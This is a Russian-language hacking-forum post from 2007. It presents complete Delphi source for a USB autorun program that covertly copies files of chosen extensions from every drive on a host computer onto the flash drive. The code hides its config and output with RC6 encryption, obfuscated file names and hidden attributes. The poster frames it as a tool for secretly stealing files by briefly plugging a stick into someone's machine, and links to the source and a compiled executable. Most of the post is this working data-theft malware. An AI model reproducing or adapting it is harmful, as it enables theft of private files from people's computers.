ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Программа для скрытного копирования файлов с компьютера на флэшку.
  #1  
Старый 09.12.2007, 08:56
Аватар для o_OBallers
o_OBallers
Banned
Регистрация: 11.10.2007
Сообщений: 54
Провел на форуме:
86268

Репутация: 84
По умолчанию Программа для скрытного копирования файлов с компьютера на флэшку.

При вставке съёмного диска программа запускается самостоятельно. Мне не встречались компьютеры с XP где был отключён автозапуск, то есть теоретически можно подкрасться взади вставить флэшку через минуту вытащить уже с нужными файлами. В Windows Vista при вставке вылезает окошко запускать или нет программу, при любом ответе программа запускается. В настройках можно задать ограничение места, и расширения нужных файлов.

Код:
program autorun;

uses Windows,SysUtils,Classes,RC6,ShellApi;
var HM,Handle:THandle;
    Alfavit:string[26]='ABCDEFGHIJKLMNOPQRSTUVWXYZ';
    AlfavitCount,MaxSize,ScanInc,RasInc:integer;
    F,F1:TextFile;
    Files,RasList,FileList,DiskList:TStringList;
    MaxSizeString,RasListString,FileString:String;
const ScanFile='true.lll';
//-----
procedure FindFile(Dir:string);
var
 SR:TSearchRec;
 FindRes:Integer;
begin
 FindRes := FindFirst(Dir + '*.*', faAnyFile, SR);
      while FindRes = 0 do
         begin
           if ((SR.Attr and faDirectory) = faDirectory) and
           ((SR.Name = '.') or (SR.Name = '..')) then
              begin
                FindRes := FindNext(SR);
                Continue;
              end;
           if ((SR.Attr and faDirectory) = faDirectory) then
             begin
               FindFile(Dir + SR.Name + '\');
               FindRes := FindNext(SR);
               Continue;
             end;
             FileList.Add(Dir+SR.Name);
             FindRes := FindNext(SR);
         end;
        FindClose(SR);
end;
//-----
procedure RC6Encrypt(FileName,Key:String);
var Str1,Str2:TFileStream;
begin
Str1:=TFileStream.Create(FileName,fmOpenRead);
Str2:=TFileStream.Create(FileName+'~',fmCreate);
EncryptCopy(Str2,Str1,Str1.Size,Key);
Str1.Free;
Str2.Free;
DeleteFile(FileName);
CopyFile(PChar(FileName+'~'),PChar(FileName),True);
DeleteFile(FileName+'~');
end;
//-----
procedure RC6Decrypt(FileName,Key:String);
var Str1,Str2:TFileStream;
begin
Str1:=TFileStream.Create(FileName,fmOpenRead);
Str2:=TFileStream.Create(FileName+'~',fmCreate);
DecryptCopy(Str2,Str1,Str1.Size,Key);
Str1.Free;
Str2.Free;
DeleteFile(FileName);
CopyFile(PChar(FileName+'~'),PChar(FileName),True);
DeleteFile(FileName+'~');
end;
//-----
function EncodeBase64(const inStr: string): string;

 function Encode_Byte(b: Byte): char;
 const
   Base64Code: string[64] =
     'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+.';
 begin
   Result := Base64Code[(b and $3F)+1];
 end;

var
 i: Integer;
begin
 i := 1;
 Result := '';
 while i <=Length(InStr) do
 begin
   Result := Result + Encode_Byte(Byte(inStr[i]) shr 2);
   Result := Result + Encode_Byte((Byte(inStr[i]) shl 4) or (Byte(inStr[i+1]) shr 4));
   if i+1 <=Length(inStr) then
     Result := Result + Encode_Byte((Byte(inStr[i+1]) shl 2) or (Byte(inStr[i+2]) shr 6))
   else
     Result := Result + '=';
   if i+2 <=Length(inStr) then
     Result := Result + Encode_Byte(Byte(inStr[i+2]))
   else
     Result := Result + '=';
   Inc(i, 3);
 end;
end;
//-----
function GetDirSize(Dir:string):integer;
var
    Fs:TSearchRec;
    Size:integer;
begin
Size:=0;
Dir:=Dir+'*.*';
FindFirst(Dir,faAnyFile,Fs);
if Fs.Name<>'' then
 begin
   Size:=Size+Fs.Size;
   while FindNext(Fs)=0 do
     Size:=Size+Fs.Size;
 end;
FindClose(Fs);
Result:=(Size div 1024) div 1024;
end;
//-----
function ExtFile(FileName: string): string;
var
   i:Integer;
begin
i:=Length(FileName);
while (FileName[i] <> '\') and (i > 0) do
i := i - 1;
Result := Copy(FileName, i + 1, Length(FileName) - i);
end;
//-----
function ApplicationUse(FName:string): boolean;
var
 HFileRes: HFILE;
begin
 Result := false;
 if not FileExists(fName) then exit;
 HFileRes := CreateFile(pchar(fName), GENERIC_READ or GENERIC_WRITE, 0, nil,
   OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
 Result := (HFileRes = INVALID_HANDLE_VALUE);
 if not Result then CloseHandle(HFileRes);
end;
//-----
function ExtRas(const AUrl:string):string;
var
i:Integer;
ms:String;
begin
i:=LastDelimiter('.',AUrl);
ms:=Copy(AUrl,i+1,Length(AUrl)-(i));
Result:=Copy(ms,0,Length(ms));
end;
//-----Íå äîïóñòèòü çàïóñê âòîðîãî ýêçåìïëÿðà
function Check:boolean;
begin
 HM:=OpenMutex(MUTEX_ALL_ACCESS,false,'MyOwnMutex');
 Result:=(HM<>0);
 if HM=0 then
   HM:=CreateMutex(nil,false,'MyOwnMutex');
end;
//-----
function DiskInDrive(const Drive:char):Boolean;
var
   DrvNum:byte;
   EMode:Word;
begin
 result:=false;
 DrvNum:=ord(Drive);
 if DrvNum >= ord('a') then
   dec(DrvNum, $20);
 EMode:=SetErrorMode(SEM_FAILCRITICALERRORS);
 try
   if DiskSize(DrvNum - $40) <> -1 then
     result:=true
   else
     messagebeep(0);
 finally
   SetErrorMode(EMode);
 end;
end;
//-----
function Path:string;
begin
 Result:=ExtractFilePath(ParamStr(0));
end;
//-----
begin
ShellExecute(Handle,nil,PChar(Path),nil,nil,SW_SHOW);
if Check then Exit;
if not FileExists(Path+ScanFile) then
 begin//not FileExists 1
   AssignFile(F,Path+ScanFile);
   Rewrite(F);
   CloseFile(F);
   SetFileAttributes(PChar(Path+ScanFile),faHidden);
   if FileExists(Path+'autorun.ini') then
     begin//if autorun.ini 2
       RC6Decrypt(Path+'autorun.ini','holdem');
       AssignFile(F1,Path+'autorun.ini');
       Reset(F1);
       Readln(F1,MaxSizeString);
       MaxSize:=StrToInt(MaxSizeString);
       Readln(F1,RasListString);
       CloseFile(F1);
       RC6Encrypt(Path+'autorun.ini','holdem');
       SetFileAttributes(PChar(Path+ScanFile),faHidden);
       SetFileAttributes(PChar(Path+'autorun.ini'),faHidden);
       RasList:=TStringList.Create;
       RasList.Text:=StringReplace(RasListString,'***',#13#10,[rfReplaceAll]);
       DiskList:=TStringList.Create;
       for AlfavitCount:=0 to 25 do
         begin//for 3
           if DiskInDrive(Alfavit[AlfavitCount]) then DiskList.Add(Alfavit[AlfavitCount]);
         end;//for 3
       FileList:=TStringList.Create;
       for ScanInc:=0 to DiskList.Count-1 do
         begin//for 4
           if (DiskList[ScanInc]+':\'<>Path) then FindFile(DiskList[ScanInc]+':\');
         end;//for 4
       Files:=TStringList.Create;
       Files.Clear;
       for ScanInc:=0 to FileList.Count-1 do
         begin//for 5
           FileString:=FileList[ScanInc];
           for RasInc:=0 to RasList.Count-1 do
             begin//for 6
               if ExtRas(FileString)=RasList[RasInc] then
                 begin//if 7
                   if not ApplicationUse(FileString) then
                     begin//if 8
                       CopyFile(PChar(FileString),PChar(Path+'VOLUME_ID\'+EnCodeBase64('['+IntToStr(ScanInc)+']'+ExtFile(FileString))),True);
                       if GetDirSize(Path+'VOLUME_ID\')>MaxSize then
                         begin//if 9
                           Exit;
                         end;//if 9
                       end;//if 8
                     end;//if 7
                   end;//for 6
                 end;//for 5
               end//if autorun.ini 2
   else Exit;
end;//not FileExists 1
end.
Полный исходник http://a-alaget.narod.ru/sourse.html

Exe файл http://a-alaget.narod.ru/programs.html

Последний раз редактировалось o_OBallers; 09.12.2007 в 09:23..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Хакер и закон! SladerNon Болталка 17 12.11.2009 09:42
Взлом Unix а silveran *nix 4 21.12.2005 22:46
Заключение эксперта .PurGeN. Чужие Статьи 2 02.08.2005 04:03



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ